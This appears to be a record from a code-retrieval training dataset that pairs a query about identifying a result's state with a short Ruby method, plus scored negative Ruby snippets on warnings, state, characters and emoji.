"def warning(msg) $stderr.puts(\"Warning: #{msg}\") end",
"def warning(msg) $stderr.puts(\"Warning: #{msg}\") end",
"def warning(msg) $stderr.puts(\"Warning: #{msg}\") end",
"def bad_state(state)\n !state.ok && state.alive?\n end",
"def state\n self.well_info.state\n end",
"def parse_warn(msg); say :warn, msg; end",
"def warn?; @loggers.first.level <= WARN; end",
"def warnings\n @diagnostics.select {|d| d.severity == :warning || d.severity == :deprecation }\n end",
"def warn( msg )\n Kernel.warn( msg )\n end",
"def warning(message)\n @warnings = [] unless @warnings.present?\n @warnings.append(message)\n end",
"def status_final_state\n return unless status_changed?\n return unless %w(denied missed returned archived).include?(status_was)\n errors.add(:base, \"Cannot change status of #{status_was}\"\\\n \" reservation.\\n\")\n end",
"def state\n status.state name\n end",
"def deprecation_warning(key, warning)\n $_deprecation_warnings ||= {}\n unless $_deprecation_warnings[key]\n $_deprecation_warnings[key] = true\n Logger.logger.warn(warning)\n end\n end",
"def warning text\n print_red(\"WARNING: #{text}\") \n end",
"def warning text\n print_red(\"WARNING: #{text}\") \n end",
"def warnings\n @validator ? @validator.warnings : []\n end",
"def warning(*args)\n color(33, *args)\n end",
"def warn message\n message = \"WARN: \" + process_message(message)\n output_message message, @warn_color if valid_conditions 2\n end",
"def status\n case @result.retval\n when 0 ; \"ok\"\n when 1 ; \"warning\"\n when 2 ; \"critical\"\n end\n end",
"def warning(str, opts = { print: true })\n str = str.dup.to_s\n result = \"\"\n result += color? ? ANSI_CODES[:bold] + ANSI_CODES[:color][:yellow] : \"\"\n result += \"WARNING:\"\n result += color? ? ANSI_CODES[:reset] : \"\"\n result += \" \"\n result += str\n result += \"\\n\"\n print_or_return(result, opts[:print])\n end",
"def check_state\n EM.stop if @setup.report_state.content =~ /operational|stranded/\n end"
] |
[
"0.86985016",
"0.81261516",
"0.79118145",
"0.7138577",
"0.70305127",
"0.69969875",
"0.69969875",
"0.69969875",
"0.6976206",
"0.6946073",
"0.6807661",
"0.6730061",
"0.6714083",
"0.6683828",
"0.6682847",
"0.6670867",
"0.6664882",
"0.6601548",
"0.65990347",
"0.65777373",
"0.65331",
"0.6515111",
"0.6515111",
"0.6515111",
"0.6515111",
"0.6515111",
"0.6515111",
"0.6515111",
"0.6515111",
"0.6463798",
"0.6431647",
"0.6431647",
"0.64083415",
"0.6391882",
"0.6360586",
"0.63522243",
"0.6287031",
"0.6279321",
"0.62428683",
"0.6241586",
"0.6237958",
"0.62373805",
"0.6210564",
"0.6188309",
"0.6180517",
"0.6138196",
"0.6131846",
"0.6126572",
"0.60942477",
"0.60907954",
"0.6088935",
"0.60889256",
"0.60677433",
"0.60584134",
"0.6058197",
"0.60548466",
"0.60342413",
"0.60342413",
"0.60282576",
"0.60077536",
"0.59881055",
"0.5981679",
"0.5974965",
"0.59708506",
"0.59692967",
"0.5968564",
"0.5967853",
"0.5964967",
"0.59560317",
"0.5937541",
"0.5907942",
"0.59033984",
"0.590214",
"0.5899667",
"0.58996475",
"0.5897325",
"0.5897325",
"0.5896888",
"0.589072",
"0.58501595",
"0.58501595",
"0.58501595",
"0.5842641",
"0.5829185",
"0.5826698",
"0.5825046",
"0.5823343",
"0.5811495",
"0.5802625",
"0.57973665",
"0.5788539",
"0.5787306",
"0.5784311",
"0.5784311",
"0.5776957",
"0.5760074",
"0.57576025",
"0.57556266",
"0.5752494",
"0.57406515"
] |
0.7083545
|
4
|
Identify the state of the result.
|
def to_sym
if failure?
:failure
else
:error
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def result_or_state\n if result == 'none'\n state\n else\n result\n end\n end",
"def state()\n info[:state]\n end",
"def results_state results\n if results.respond_to?(:errored?) && results.errored?\n 'Errored'\n elsif results.failing?\n 'Failing'\n elsif results.pending? || results.empty?\n 'Pending'\n else\n 'Passing'\n end # if-elsif-else\n end",
"def state\n info[:state]\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n @state\n end",
"def report_state\n success_result(RightScale::InstanceState.value)\n end",
"def state\n @state\n end",
"def result\n state.try(:to_sym) == :passed ? 0 : 1\n end",
"def state\n data[:state]\n end",
"def state\n data.state\n end",
"def state\n data.state\n end",
"def state\n case data['build']['result']\n when nil\n 'pending'\n when 0\n 'success'\n when 1\n 'failure'\n end\n end",
"def state\n @state\n end",
"def state\n status[\"state\"]\n end",
"def read_state\n end",
"def state\n object.state_code\n end",
"def state\n data['State']\n end",
"def state\n @current_state\n end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state\n end",
"def execution_state\n return :pending if self.test_executions.empty?\n\n self.test_executions.ordered_by_date.first.state\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n return self.endpoint.state(self.id)\n end",
"def read_state\n output = execute(\"showvminfo\", @uuid, \"--machinereadable\")\n if output =~ /^name=\"<inaccessible>\"$/\n return :inaccessible\n elsif output =~ /^VMState=\"(.+?)\"$/\n return $1.to_sym\n end\n\n nil\n end",
"def result?\n self.type == :result\n end",
"def state\n @__state\n end",
"def current_state\n\t # Started and not finished\n\t if running? \n\t\tif respond_to?(\"state_machine\")\n # state_machine.status # => String\n # state_machine.status_name # => Symbol\n\t\t return state_machine.status_name\n\t\telse\n\t\t return :running\n\t\tend\n\t end\n\t\n\t # True, when task has never been started\n\t if pending? \n\t\treturn :pending \n elsif failed_to_start? \n\t\treturn :failed_to_start\n elsif starting?\n\t return :starting\n\t # True, when terminal event is pending\n elsif finishing? \n\t return :finishing\n\t # Terminated with success or failure\n elsif success? \n\t return :succeeded\n elsif failed? \n\t return :failed \n\t end\n\tend",
"def state\n status.state name\n end",
"def state\n @state ||= getStateData()\n end",
"def state_code\n end",
"def succeeded?; state == 'succeeded'; end",
"def succeeded?; state == 'succeeded'; end",
"def result_info\n return @result_info\n end",
"def result_info\n return @result_info\n end",
"def results_status()\n r = attr_get(\"status\")\n if(r.eql?(\"passed\"))\n \"passed\"\n else\n \"failed\"\n end\n end",
"def state()\n state = PureHailDB.ib_trx_state(@trx_ptr)\n if PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_NOT_STARTED]\n NOT_STARTED\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_ACTIVE]\n ACTIVE\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_COMMITTED_IN_MEMORY]\n COMMITTED_IN_MEMORY\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_PREPARED]\n PREPARED\n else\n end\n end",
"def current_state\n if !self.failure_message.nil?\n { message: self.failure_message, status: :forced_failure }\n elsif temporary\n { message: 'Running Visual Tests', status: :pending }\n else\n unapproved_count = self.unapproved_diffs.count\n approved_count = self.approved_diffs.count\n new_count = self.new_tests.count\n message_components = []\n message_components.push(\"#{new_count} new tests\") if new_count > 0\n\n if unapproved_count > 0\n message_components.push(\"#{unapproved_count} unapproved diffs\")\n end\n\n if approved_count > 0\n message_components.push(\"#{approved_count} approved diffs\")\n end\n\n message = message_components.count > 0 ? message_components.join(', ') : '0 diffs'\n status = unapproved_count > 0 ? :failure : :success\n { message: message, status: status }\n end\n end",
"def state_code\n end",
"def state\n [@identifier, @estimated_time, @priority, @completed_at]\n end",
"def malware_execution_state_summary\n return @malware_execution_state_summary\n end",
"def state\n self.well_info.state\n end",
"def state\n ret = request('getState')\n STATE_TO_STR[ ret['statecode'] ]\n end",
"def result\n @@result\n end",
"def state\n @state.first\n end",
"def execution_state(id, options = {})\n objectify get(\"/execution/#{id}/state\", options)['result']['executionState']\n end",
"def result\n @result\n end",
"def state\n running_response = running?\n return running_response unless running_response.successful?\n\n response = Response.new :code => 0, :data => 'not running'\n\n if running_response.data\n response.data = 'running'\n else\n suspended_response = suspended?\n return suspended_response unless suspended_response.successful?\n\n response.data = 'suspended' if suspended_response.data\n end\n\n response\n end",
"def state\n running_response = running?\n return running_response unless running_response.successful?\n\n response = Response.new :code => 0, :data => 'not running'\n\n if running_response.data\n response.data = 'running'\n else\n suspended_response = suspended?\n return suspended_response unless suspended_response.successful?\n\n response.data = 'suspended' if suspended_response.data\n end\n\n response\n end",
"def state\n if @lxc_details.nil?\n :missing\n else\n status = nil\n with_proxmox do |proxmox|\n vm_id_str = @lxc_details[:vm_id].to_s\n status =\n if proxmox_get(proxmox, \"nodes/#{@lxc_details[:pve_node]}/lxc\").any? { |data_info| data_info['vmid'] == vm_id_str }\n status_info = proxmox_get(proxmox, \"nodes/#{@lxc_details[:pve_node]}/lxc/#{@lxc_details[:vm_id]}/status/current\")\n # Careful that it is possible that somebody destroyed the VM and so its status is missing\n status = status_info.key?('status') ? status_info['status'].to_sym : :missing\n status = :exited if status == :stopped\n status\n else\n :missing\n end\n end\n status\n end\n end",
"def opc_state(tab = false, detail = false)\n if (opx_empty_state?)\n opx_print(\"Tabulator State: EMPTY\\n\")\n return\n end\n tab = opx_instantiate_tabulator() unless tab\n state, missing, finished, expected = tab.tabulator_state\n opx_print(\"Tabulator State: #{state}\\n\")\n state = state.split(/ /)[0]\n if (detail && (state == \"ACCUMULATING\"))\n if (expected == 0)\n opx_print(\"No Missing Counts, because no Expected Counts\\n\")\n return state\n end\n opx_print(\"Missing Counts: Counter UID, Precinct UID, Reporting Group\\n\")\n missing.each { |cid, rg, pid| opx_print(\" #{cid}, #{pid}, #{rg}\\n\") }\n opx_print(\"Precincts Finished Reporting: \")\n if (finished.length == 0) \n opx_print(\"NONE\\n\")\n else\n opx_print(\"#{finished.inspect.gsub(/[\\\")\\[\\]]/,\"\")}\\n\")\n end\n end\n state\n end",
"def result_of_checking; end",
"def result?\n true\n end",
"def state\n if completed?\n :complete\n elsif started\n :in_progress\n else\n :not_started\n end\n end",
"def next_result()\n #This is a stub, used for indexing\n end",
"def get_state(key)\n computation.get_state(key)\n end",
"def get_SaleState()\n \t return @outputs[\"SaleState\"]\n \tend",
"def result\n @result || :no_answer\n end",
"def result\n @result || :no_answer\n end",
"def state\n if !self.completed?\n 'Incomplete'\n elsif self.completed? && !self.closed?\n 'Complete'\n else\n 'Closed'\n end\n end",
"def state\n if !self.completed?\n 'Incomplete'\n elsif self.completed? && !self.closed?\n 'Complete'\n else\n 'Closed'\n end\n end",
"def expected_result\n if @assert['result'] == '&result'\n @result\n elsif @assert['result'] != 'void'\n to_hex(@assert['result']['$hex'])\n end\n end",
"def result\n self.result_payload[\"result\"] if self.result_payload\n end",
"def result\n operation.result\n end",
"def state\n params['state']\n end",
"def get_state()\n winner = check_vertical_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_horizontal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_diagonal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n if(get_empty_space.length == 0)\n return \"draw\"\n end\n return \"none\" \n end",
"def state\n if (interpreter = @interpreter)\n @interpreter.state\n else\n nil\n end\n end",
"def get_Status()\n \t return @outputs[\"Status\"]\n \tend",
"def result_code\n self[:result_code]\n end",
"def state\n @state.last\n end",
"def state\n @state.last\n end",
"def store_result()\n #This is a stub, used for indexing\n end",
"def state\n @@states[@state]\n end",
"def result\n @result ||= calculate_result\n end",
"def state\n \n session[ flow_session_name ].fetch( state_session_name )\n \n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end"
] |
[
"0.7502195",
"0.706037",
"0.70238507",
"0.6932412",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68746054",
"0.68685377",
"0.6866516",
"0.6863048",
"0.6837415",
"0.6826547",
"0.68091995",
"0.68091995",
"0.67947626",
"0.67346674",
"0.6632342",
"0.661047",
"0.65528584",
"0.65441126",
"0.65130544",
"0.64914227",
"0.64914227",
"0.64914227",
"0.64914227",
"0.64914227",
"0.64914227",
"0.64914227",
"0.64914227",
"0.647075",
"0.64491874",
"0.6403426",
"0.6403426",
"0.6403426",
"0.6403426",
"0.6403426",
"0.6403426",
"0.63817203",
"0.6373798",
"0.6357132",
"0.6343678",
"0.63406193",
"0.6332772",
"0.63267213",
"0.6303773",
"0.6298165",
"0.6298165",
"0.62738943",
"0.62738943",
"0.6264185",
"0.625648",
"0.62397295",
"0.62380254",
"0.6237795",
"0.6230074",
"0.62072015",
"0.6196626",
"0.61868227",
"0.6170917",
"0.61603355",
"0.6152601",
"0.61290705",
"0.61290705",
"0.6126125",
"0.6121086",
"0.6118627",
"0.6117134",
"0.61143506",
"0.6113148",
"0.6111233",
"0.61107886",
"0.61083406",
"0.61083406",
"0.61072505",
"0.61072505",
"0.60957223",
"0.60925883",
"0.6087093",
"0.6078597",
"0.6070283",
"0.6070124",
"0.60669416",
"0.6051728",
"0.60498106",
"0.60498106",
"0.6025403",
"0.60187525",
"0.6011672",
"0.6007614",
"0.6003798",
"0.6003798",
"0.6003798",
"0.6003798",
"0.6003798"
] |
0.0
|
-1
|
Express the result with one char.
|
def char
if failure?
FAILURE_CHAR
else
ERROR_CHAR
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def char\n code ? [code].pack('U') : ' '\n end",
"def char\n\t\t\t\t@char\n\t\t\tend",
"def value_with (char)\n temp_val = @value\n \n if @cursor_location == @value.length\n temp_val = @value + char\n else\n temp_val = @value.slice(0..@cursor_location-1) + char + @value.slice(@cursor_location..@value.length-1)\n end\n \n temp_val\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def chr() end",
"def mysqlchar\n foo='CHAR('\n foo += self.asciime + ')'\n return foo\n end",
"def add_one(input)\n newc = new_char\n input + newc\n end",
"def nextchar\n c = self.more?() ? @source[@index,1] : \"\\0\"\n @index += 1\n return(c)\n end",
"def to_s\n cont = 97 #Corresponde al char 'A'\n\t result = text + \"\\n\"\n\t answers.each{|i| result += cont.chr + \") \" + i.to_s + \"\\n\"; cont+=1}\n\t return result\n end",
"def char\n raise MathError, \"Non-integer for char\" unless int?\n raise MathError, \"Out of range for char\" unless between?(0, 255)\n if zero?\n \"\"\n else\n to_i.chr\n end\n end",
"def output_letter\r\n a = @deck.first\r\n a = 53 if a.instance_of? String\r\n output = @deck[a]\r\n if output.instance_of? String\r\n nil\r\n else\r\n output -= 26 if output > 26\r\n (output + 64).chr\r\n end\r\n end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def character; end",
"def oraclechar\n foo=[]\n self.asciime.split(',').each {|chr| foo << \"CHR(#{chr})\" }\n foo.join('||')\n end",
"def to_s\n cont = 97\n\t result = text + \"\\n\"\n\t answers.each{|i| result += cont.chr + \") \" + i + \"\\n\"; cont+=1}\n\t return result\n end",
"def mssqlchar\n foo=[]\n self.asciime.split(',').each {|chr| foo << \"CHAR(#{chr})\" }\n foo.join('+')\n end",
"def unicode_chr(val)\n\t\t[val].inject('') {|s, cp| s << cp }\n\tend",
"def char(column, row, char)\n command \"T#{column},#{row},#{char}\"\n end",
"def initial\n chr\n end",
"def <<(char)\n @text << char\n @cursor += 1\n end",
"def <<(char)\n @text << char\n @cursor += 1\n end",
"def next_char(options = {})\n ix = column\n ix = skip_space(ix, :right) if options[:skip_space]\n char_at(ix) || ''\n end",
"def NextChar\r\n\t\t@Line.slice!(0, 1)\r\n\tend",
"def square_character(square_val)\n case square_val\n when :x, :o\n square_val.to_s.upcase\n else\n \" \"\n end\n end",
"def char!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 30 )\n\n\n\n type = CHAR\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 203:5: '\\\\'' . '\\\\''\n match( 0x27 )\n match_any\n match( 0x27 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 30 )\n\n\n end",
"def next_char\n self.cursor += 1\n end",
"def fill_with char\n fill_from_with(0 , char)\n end",
"def char\n self[@char]\n end",
"def rchar\n\t\t\tcase status\n\t\t\twhen :new\n\t\t\t\t'N'\n\t\t\twhen :old\n\t\t\t\t'O'\n\t\t\twhen :range\n\t\t\t\t'@'\n\t\t\twhen :ins\n\t\t\t\t'i'\n\t\t\twhen :del\n\t\t\t\t'd'\n\t\t\twhen :other\n\t\t\t\t'_'\n\t\t\tend\n\t\tend",
"def encode_char char\n node = @root\n coding = \"\"\n\n # encode to 0 if only one character\n if !@root.children?\n return \"0\"\n end\n\n # we do a binary search, building the representation\n # of the character based on which branch we follow\n while node.val != char\n if node.right.val.include? char\n node = node.right\n coding += \"1\"\n else\n node = node.left\n coding += \"0\"\n end\n end\n coding\n end",
"def output_word\n puts @displayed_character.join('')\n end",
"def next()\n return \" \" unless has_next()\n if(@count <= 0)\n @char = @compressed_string[@i]\n @i += 1\n @count = get_count()\n end\n @count -= 1\n return @char\n end",
"def show_char(c)\n chars = %w( nul sch stx etx eot enq ack bel bs tab nl vtab\n ff cr so si dle dcl dc2 dc3 dc4 nak syn etb\n can em sub esc fs gs rs us sp\n )\n return(chars[c.ord])\nend",
"def to_char(color = false)\n if success?\n color ? \"\\e[32m.\\e[0m\" : '.'\n else\n color ? \"\\e[33mI\\e[0m\" : 'I'\n end\n end",
"def get_char\n @look = @expression[@number]\n @number +=1\nend",
"def numToChar(number)\n return (number+65).chr\nend",
"def number_to_letter\n\t\t(self + 64).chr\n\tend",
"def char\n self.class.codepoint2char(@codepoint)\n end",
"def linebreak(char='')\n puts \"#{char*50}\"\n end",
"def to_s\n st = @char\n node = self\n while node != nil\n node = node.up\n break if node==nil\n st = node.char+st\n end\n st\n end",
"def next_char c, number\n new_ord = c.ord + filter_by_95(number)\n if new_ord > 126\n new_ord -= (126 - 31)\n end\n return new_ord.chr\nend",
"def scan_single_char()\n\t\tresult = if metachar?(lexeme)\n\t\t\t# A Meta-character...\n\t\t\tenqueue_token(lexeme.dup)\n\t\telse\n\t\t\tenqueue_token(:T_CHARLIT)\n\t\tend\n\t\t\n\t\treturn result\n\tend",
"def text_repr\n return char if lexeme.nil?\n\n lexeme.dup\n end",
"def encode_character(char)\n if @@has_ord ||= char.respond_to?(:ord)\n char.ord.to_s\n else\n char[0]\n end\n end",
"def fancy_newline\n @results += '|'\n newline\n end",
"def getChar(c)\n c.chr\nend",
"def getChar(c)\n c.chr\nend",
"def current_char\n @current_char\n end",
"def to_s\n @chars.join\n end",
"def crunch(text)\n text.gsub(/(.)\\1+/, &:chr)\nend",
"def prompt(char)\n proc do |target_self, nest_level, pry|\n [\n \"[#{pry.input_array.size}] \",\n \"kc(#{Pry.view_clip(target_self.class)})\",\n \"#{\":#{nest_level}\" unless nest_level == 0}#{char} \",\n ].join\n end\n end",
"def consume_character\n unless @input.empty?\n success(advance(1))\n else\n failure(\"less than one character available\")\n end\n end",
"def simple_character\n # do nothing\n end",
"def add(chr)\n @str += chr\n end",
"def getChar\n if @index <= @code.size - 1\n return @code[@index] if !@code[@index].nil?\n end\n # If nil return empty string.\n return nil\n end",
"def next_char\n @current_char_pos += 1\n @current_char = @string[@current_char_pos, 1]\n end",
"def double_char(str)\n str.chars.map{|e|e *2}.join\nend",
"def encode_char(immune,input)\n return input if immune.include?(input)\n return input if hex(input).nil?\n return \"#{@escape_char}#{input}\"\n end",
"def rand_char\n self[Kernel.rand(length), 1]\n end",
"def chr(character)\n character.chr unless character.nil?\n end",
"def line_break(character)\n quickly do\n character * 150\n end\n puts \"\"\n end",
"def non_utf8_character\n [0x92].pack('C*')\n end",
"def result_string\n case\n when result > 0 then \"+#{result}\"\n when result == 0 then \"=\"\n when result < 0 then result.to_s\n end\n end",
"def printNums (char, quant)\n\n\ttemp = []\n\tquant.times do \n\t\ttemp << char\n\tend\n\n\ttemp << \"/\"\n\n\ttemp = temp.join\n\treturn temp\n\nend",
"def ascii_products\n\" _ _ \n | | | | \n _ __ _ __ ___ __| |_ _ ___| |_ ___ \n| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\n| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\n| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\n| | \n|_| \"\n\tend",
"def +(chr)\n @str += chr\n end",
"def reduce_any_character(_production, _range, _tokens, _children)\n char_shorthand('w')\n end",
"def dif_x_c(c)\n if c.nil? || c == \"*1\" || c == \"/1\" || c == ''\n c = \"\"\n c_char = \"\"\n else\n c_char = c[0]\n c = eval(c[1,c.length-1]).to_s\n end\n [c, c_char]\n end",
"def char_to_codon(char)\n (1..SIZE).map { |mult|\n offset = mult * CHAR_OFFSET\n encoded_char = (offset + char.to_i(BASE)) % BASE\n encoded_char.to_s(BASE)\n }.join\n end",
"def repeater(str)\n result = ''\n str.each_char { |char| result << char * 2 } # or result << char << char\n result\nend",
"def to_s(); self.unpad[0] end",
"def band_char\n (@band+65).chr\n end",
"def character(index = nil)\n return '' if collection && collection.empty?\n return collection[-1] unless index\n\n by_index(index)\n end",
"def characters\n sample = @rows[0]\n sample.characters\n end",
"def read_character\n unless @input.empty?\n result(@input.at(0), advance(1))\n else\n failure(\"less than one character available\")\n end\n end",
"def encode_char(immune, input)\n input\n end",
"def colored_char\n color(char)\n end",
"def to_char(color = false)\n if failure?\n color ? \"\\e[35mF\\e[0m\" : 'F'\n else\n color ? \"\\e[31mE\\e[0m\" : 'E'\n end\n end",
"def do_dot s; a = mega_pop(s); String == a.class ? s[:output] << \"#{a.ord} \" : s[:output] << \"#{a} \" end",
"def x\n\t\tt =\"\"; \n\t\tself.each_byte do |a| \n\t\t\tif a == \"\\r\"[0] then\n\t\t\t\tt << \"\\\\r\"\n\t\t\telsif a == \"\\t\"[0] then\n\t\t\t\tt << \"\\\\r\"\n\t\t\telsif a == \"\\n\"[0] then\n\t\t\t\tt << \"\\\\n\"\n\t\t\telsif a == \"\\b\"[0] then\n\t\t\t\tt << \"\\\\b\"\n\t\t\telsif a > 0 && a < 32 then\n\t\t\t\tt << (\"\\\\x%2.2d\" % a)\n\t\t\telse \n\t\t\t\tt << a.chr\n\t\t\tend\n\t\tend\n\t\tt\n\t\t#return gsub(/\\r/, \"\\\\r\").gsub(/\\n/, \"\\\\n\").gsub(/\\t/, \"\\\\t\")\n\tend"
] |
[
"0.7049575",
"0.6660167",
"0.6654559",
"0.6539349",
"0.6539349",
"0.6539349",
"0.6539349",
"0.64538205",
"0.6308461",
"0.628841",
"0.6196055",
"0.6128248",
"0.60535544",
"0.60362804",
"0.6022957",
"0.6022957",
"0.6022957",
"0.6022957",
"0.6022957",
"0.6022957",
"0.6022957",
"0.6022957",
"0.6022957",
"0.6022827",
"0.6022827",
"0.6022827",
"0.6022827",
"0.6022827",
"0.6022827",
"0.6022827",
"0.6022827",
"0.6022827",
"0.6022827",
"0.60220474",
"0.6012715",
"0.5960819",
"0.5949613",
"0.58972764",
"0.58945364",
"0.5850273",
"0.5850273",
"0.5827598",
"0.5816023",
"0.58112586",
"0.58102196",
"0.57787454",
"0.5747323",
"0.5746676",
"0.5742",
"0.5736039",
"0.5725895",
"0.5703998",
"0.56974393",
"0.5688659",
"0.56867343",
"0.5671665",
"0.56640553",
"0.5661076",
"0.5651779",
"0.56365365",
"0.56264883",
"0.56246465",
"0.562457",
"0.56236094",
"0.5608041",
"0.56060266",
"0.56060266",
"0.56002796",
"0.55998635",
"0.5598888",
"0.5594576",
"0.55893815",
"0.55873525",
"0.5572916",
"0.5563349",
"0.5558806",
"0.55586153",
"0.5554141",
"0.5554077",
"0.5550603",
"0.55224204",
"0.551245",
"0.55037713",
"0.54987645",
"0.5497525",
"0.5478609",
"0.5473329",
"0.54730284",
"0.5466926",
"0.5464386",
"0.5452905",
"0.5452619",
"0.5443486",
"0.5430262",
"0.542987",
"0.54263026",
"0.54161507",
"0.5397799",
"0.5397792",
"0.53840977"
] |
0.6018681
|
34
|
Express the result with one emoji.
|
def emoji
if failure?
FAILURE_EMOJI
else
ERROR_EMOJI
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def emoji; end",
"def postprocess(text)\n inline_emoji(text)\n end",
"def farewell_message\n puts \"\"\n puts \"Cheers! \\u{1f37b}\" # beer emoji 🍻\n end",
"def render(text, emojis)\n emoji_index_cycle = (0...emojis.size).cycle\n\n char_maps = text.split('')\n .map { |char|\n downcase_char_map(char)\n # char_map(char)\n }.compact # get the map for each letter\n .map { |cm| cm.join(\"\\n\").gsub(/[^ \\n]/, emoji_index_cycle.next.to_s).split(\"\\n\") } # 'o' -> (0..N)\n\n asciiart = concat_letters_with_kerning(char_maps).join(\"\\n\")\n # puts asciiart\n\n emojis.each_with_index do |em, i|\n asciiart.gsub!(i.to_s, \":#{emojis[i]}:\")\n end\n\n asciiart.gsub(' ', ':transparent:')\nend",
"def display_emoji_break\n emoji = $EMOJIS.sample\n print \"#{emoji} \" * 15\n print \" #{path_clip} \"\n puts \"#{emoji} \" * 15\nend",
"def emojis\n return 0 unless @emojis\n @emojis\n end",
"def replace_emoji(text)\n emojis = Mumuki::Emojis::EMOJIS\n text.gsub(/:([^\\s:])+:/) do |short_name|\n short_code = short_name.gsub(':', '')\n emoji = emojis[short_code]\n if emoji\n %{<i class=\"mu-emoji #{emoji['ca']} _#{emoji['co']}\" title=\"#{short_name}\"></i>}\n else\n short_name\n end\n end\n end",
"def draw_emoji(x, y, xx, width, char, mh, test)\n @emojis = 0 unless @emojis\n bitmap = Cache.system('Emojiset')\n em_index = Emoji.get(char)\n rect = Rect.new(em_index % 16 * 24, em_index / 16 * 24, 24, 24)\n if xx > width - 24\n xx = 0\n y += 24\n raise TooMuchTextEception.new('Limite superato') if mh && y > mh\n end\n self.blt(x + xx, y, bitmap, rect) unless test\n xx += 24\n @emojis += 1\n {:x => xx, :y => y}\n end",
"def emoji_puntuacion puntuacion\n puntuacion < 0 ? '🤢' : '😋'\n end",
"def emojis\n @emojis ||= EmojiData.find_by_str(self.text).uniq { |e| e.unified }\n end",
"def positive_emoji\n %w[100 checkbox star thumbsup rocket].sample\n end",
"def emoji_for_species(string)\n case string.downcase.strip\n when 'wolf', /\\swolf/\n '🐺'\n when 'gorilla', /\\sgorilla/\n '🦍'\n when 'rhino', 'rhinoceros', /\\srhino/, /\\srhinoceros/\n '🦏'\n when 'owl', /\\sowl/\n '🦉'\n when 'lion', /\\slion/\n '🦁'\n when 'tiger', /\\stiger/\n '🐯'\n when 'octopus', /\\soctopus/\n '🐙'\n when 'chicken', /\\schicken/\n '🐓'\n when 'dog', /\\sdog/\n '🐶'\n when 'human', /\\shuman/\n '👮'\n when 'eagle', /\\seagle/\n '🦅'\n when 'fish', /\\sfish/\n '🐟'\n when 'unicorn', /\\sunicorn/\n '🦄'\n else\n '❓'\n end\nend",
"def emoji_image_filter(text)\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<span class='emoji'>#{emoji_unicode_replacement(name)}</span>\"\n end\n end",
"def emoji_chars\n @emoji_chars ||= self.emojis.map { |e| e.char }\n end",
"def emoji_image_from_unicode(unicode)\n emoji = Emoji.find_by_unicode(unicode)\n\n if emoji && !EMOJI_IGNORE.include?(emoji.name)\n name = \":#{emoji.name}:\"\n path = File.join(@options[:emoji_asset_path], emoji.image_filename)\n\n %(<img alt=\"#{name}\" title=\"#{name}\" src=\"#{path}\" class=\"emoji\" width=\"20\" height=\"20\" />)\n else\n unicode\n end\n end",
"def slack_emoji\n @slack_emoji ||= EmojiDiffer::SlackApi.new(@slack_token).emoji\n end",
"def text(result)\n [result.text] if result\n end",
"def output(message, type)\n puts \"\\e[31m[ ✘ ]\\e[0m #{message}\" if type == 'error'\n puts \"\\e[32m[ ✔︎ ]\\e[0m #{message}\" if type == 'success'\n puts \"\\e[33m[ ✻ ]\\e[0m #{message}\" if type == 'info'\nend",
"def e(content, params = {})\n clazz = params.fetch(:class, 'emoji')\n content.gsub(Unicode::Emoji::REGEX, '<span class=\"' + clazz + '\">\\0</span>')\nend",
"def аватар text\n Data.emoji(text, exact: false, number: 0, lang: :ru)\n end",
